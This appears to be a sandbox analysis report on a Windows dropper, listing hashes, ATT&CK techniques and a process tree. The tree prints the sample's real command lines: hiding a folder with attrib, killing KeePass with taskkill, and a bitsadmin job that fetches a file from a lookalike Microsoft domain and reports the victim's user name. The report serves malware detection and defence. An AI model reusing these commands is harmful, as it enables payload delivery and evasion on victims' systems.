c2e4070c49e787da4bd7c76b7ed5ba8123401c27c99bbf27598a773265937612

Analysis

max time kernel
125s
max time network
121s
platform
windows11-21h2_x64
resource
win11-20250502-en
resource tags

arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
submitted
24/11/2025, 19:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe
Size 656KB
Sample251124-xvkcbavjan
SHA256 3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630
MD5 21e82cf77235daceff772b250ddb3437
SHA1 ef9205d9dba27091460d3a39c530d0501630538f
SHA512 36af6898749356d84b72af05d257149688504e7e5191381c9983886d7c6107966f3f5031c4252a001a88316e88d54436d64539be86123f27b4572df74a765ec5
SSDEEP 12288:TYcts2ucwpeaqvLaa0u32WcO7aMhP224lRL/DclzZjbhLiaeOulrpvAAtSNPzPm8:TYctBrvlzcA3g/DclzZjlTeOulrpvAo8
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery dropper

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

pid	Process
6028	bitsadmin.exe
2512	bitsadmin.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5456	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 21 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	whoami.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
3208	taskkill.exe
4780	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe
1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	6000	whoami.exe
Token: SeDebugPrivilege	3208	taskkill.exe
Token: SeDebugPrivilege	4780	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe
1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 1128 wrote to memory of 5664	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	78
PID 1128 wrote to memory of 5664	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	78
PID 1128 wrote to memory of 5664	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	78
PID 5664 wrote to memory of 6000	5664	cmd.exe	80
PID 5664 wrote to memory of 6000	5664	cmd.exe	80
PID 5664 wrote to memory of 6000	5664	cmd.exe	80
PID 1128 wrote to memory of 5456	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	81
PID 1128 wrote to memory of 5456	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	81
PID 1128 wrote to memory of 5456	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	81
PID 5456 wrote to memory of 3932	5456	cmd.exe	83
PID 5456 wrote to memory of 3932	5456	cmd.exe	83
PID 5456 wrote to memory of 3932	5456	cmd.exe	83
PID 1128 wrote to memory of 5136	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	84
PID 1128 wrote to memory of 5136	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	84
PID 1128 wrote to memory of 5136	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	84
PID 5136 wrote to memory of 5364	5136	cmd.exe	86
PID 5136 wrote to memory of 5364	5136	cmd.exe	86
PID 5136 wrote to memory of 5364	5136	cmd.exe	86
PID 1128 wrote to memory of 3708	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	87
PID 1128 wrote to memory of 3708	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	87
PID 1128 wrote to memory of 3708	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	87
PID 3708 wrote to memory of 3208	3708	cmd.exe	89
PID 3708 wrote to memory of 3208	3708	cmd.exe	89
PID 3708 wrote to memory of 3208	3708	cmd.exe	89
PID 1128 wrote to memory of 3124	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	91
PID 1128 wrote to memory of 3124	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	91
PID 1128 wrote to memory of 3124	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	91
PID 3124 wrote to memory of 4780	3124	cmd.exe	93
PID 3124 wrote to memory of 4780	3124	cmd.exe	93
PID 3124 wrote to memory of 4780	3124	cmd.exe	93
PID 1128 wrote to memory of 4724	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	94
PID 1128 wrote to memory of 4724	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	94
PID 1128 wrote to memory of 4724	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	94
PID 4724 wrote to memory of 4656	4724	cmd.exe	96
PID 4724 wrote to memory of 4656	4724	cmd.exe	96
PID 4724 wrote to memory of 4656	4724	cmd.exe	96
PID 1128 wrote to memory of 2040	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	98
PID 1128 wrote to memory of 2040	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	98
PID 1128 wrote to memory of 2040	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	98
PID 2040 wrote to memory of 6028	2040	cmd.exe	100
PID 2040 wrote to memory of 6028	2040	cmd.exe	100
PID 2040 wrote to memory of 6028	2040	cmd.exe	100
PID 1128 wrote to memory of 3024	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	101
PID 1128 wrote to memory of 3024	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	101
PID 1128 wrote to memory of 3024	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	101
PID 3024 wrote to memory of 5052	3024	cmd.exe	103
PID 3024 wrote to memory of 5052	3024	cmd.exe	103
PID 3024 wrote to memory of 5052	3024	cmd.exe	103
PID 1128 wrote to memory of 4944	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	104
PID 1128 wrote to memory of 4944	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	104
PID 1128 wrote to memory of 4944	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	104
PID 4944 wrote to memory of 2512	4944	cmd.exe	106
PID 4944 wrote to memory of 2512	4944	cmd.exe	106
PID 4944 wrote to memory of 2512	4944	cmd.exe	106
PID 1128 wrote to memory of 4940	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	107
PID 1128 wrote to memory of 4940	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	107
PID 1128 wrote to memory of 4940	1128	3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe	107
PID 4940 wrote to memory of 5020	4940	cmd.exe	109
PID 4940 wrote to memory of 5020	4940	cmd.exe	109
PID 4940 wrote to memory of 5020	4940	cmd.exe	109

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5364	attrib.exe
3932	attrib.exe

C:\Users\Admin\AppData\Local\Temp\3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe
"C:\Users\Admin\AppData\Local\Temp\3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c whoami
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5664
- - C:\Windows\SysWOW64\whoami.exe
    whoami
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6000
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +h C:\Users\Public\AppData
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5456
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h C:\Users\Public\AppData
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:3932
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib -h C:\Users\Public\AppData\Windows\svehost.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5136
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h C:\Users\Public\AppData\Windows\svehost.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:5364
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /im svehost.exe /t /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3708
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im svehost.exe /t /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3208
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /im keepass.exe /t /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3124
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im keepass.exe /t /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4780
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /cancel pdj
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4724
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /cancel pdj
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4656
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /create pdj
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /create pdj
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:6028
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /SetPriority pdj HIGH
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /SetPriority pdj HIGH
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5052
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /addfile pdj "http://microsoft.com-view.space/i.php?u=LLNSKQSM_Admin&i=proxy ip" C:\Users\Public\AppData\Libs\p.b
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /addfile pdj "http://microsoft.com-view.space/i.php?u=LLNSKQSM_Admin&i=proxy ip" C:\Users\Public\AppData\Libs\p.b
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:2512
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /resume pdj
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /resume pdj
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

u.nfo

Path C:\Users\Public\AppData\Libs\u.nfo
Size 520B
SHA256 cb69633c3cc65cef0284b4bf770d1757a652402a4637d51b0e5a0a4c011d005b
MD5 be689652b83078aa91289a3df1bec03d
SHA1 9d3b4248cd5a8cb21c6d7a950d9b9325e65fe301
SHA512 891e6202c7ff29b5316fd20669fcee706ac8c1386a71971447419164a1e5f92031c5488481a236442cbd09471da0eb6c3f1c3f0d6e795bb5df7192397eb82604
MD5 SHA1 SHA512

Submit Download

u.nfo

Path C:\Users\Public\AppData\Libs\u.nfo
Size 590B
SHA256 f0e31db87ee45f35324981e85ca6b441a54f4bbf9e3f629d3910bf21a10eb78a
MD5 ae8e950d19aadaf40fcafe4850d1b5e9
SHA1 5304f4559c26dcec3e7adf0e1f4043750d2004e1
SHA512 fa27c3830f83f8bdcfcf96a3fec21576697d44a7122b41e317587039c3170112f639ac6b6037e9167e7c7373fc616e3c6e6f54ffbd1c67954c155e9f2b650c81
MD5 SHA1 SHA512

Submit Download

u.nfo

Path C:\Users\Public\AppData\Libs\u.nfo
Size 698B
SHA256 ff2274a6f08c094c81c75ecdcf6ef05f0905745488777d1cc150fc54d1030da0
MD5 820a307fdee39bcd5c822d499bb42c51
SHA1 a748f06e86271c05093368f9beaff2a68c6a9e9c
SHA512 a3d892530c82587fa099d17b8c53d4a509870e9eb3dc79e97c0dd207b33e386417e64d09cf518ed76b0cbd273c153b71b4ceffa018089b3d13bcf0141932d556
MD5 SHA1 SHA512

Submit Download

u.nfo

Path C:\Users\Public\AppData\Libs\u.nfo
Size 798B
SHA256 d0c86f91673948edeabfa4a1420982eea3d9b0cf76a91d5dadc161f70954e197
MD5 0f0043316d70058ca84a5f5cad010950
SHA1 f2d56a503e458f67651e3a86d3473479888bbbdf
SHA512 1dbff3f9b1c0654ad464efc3546f7a54ce86dafb981dc86dbff816c5e8ee071e805769d9e9db9ad1024e8fd2679cb9b17911b031b0463cb02118d9ce4b8983f1
MD5 SHA1 SHA512

Submit Download

u.nfo

Path C:\Users\Public\AppData\Libs\u.nfo
Size 898B
SHA256 11c4ec7d9b83086934accfaf9208bae7987d2c888ef92f76b92b54994bc14770
MD5 89296b7a5528ac9c1e192dd38bbf865c
SHA1 ca294d45b44e550222a896f749eb2ab7693ac5e0
SHA512 0686e66ccab4420848a779059dd94bcbb214b5ab7bdfe01373724898d7e16a4fb8187039a5281a70bdb4ba07292e4838465e7adff92d25e73c741b8a1a0afaf4
MD5 SHA1 SHA512

Submit Download

u.nfo

Path C:\Users\Public\AppData\Libs\u.nfo
Size 480B
SHA256 9002e68c65454dd384f246295b888f696f441de71ec1a939debd806c3637cd49
MD5 67645558e691d562f92a64dc861a1f26
SHA1 3cc3036f80999c169591cbed457fbb1804efaad1
SHA512 92e8649e9b6e8c814e2f232833d94c72f3b735549e2435c91ef19f670c8b2e7ee434e5f131824d0790056ffe8d4078fe40c7e780095ef7142feb4cf84b587389
MD5 SHA1 SHA512

Submit Download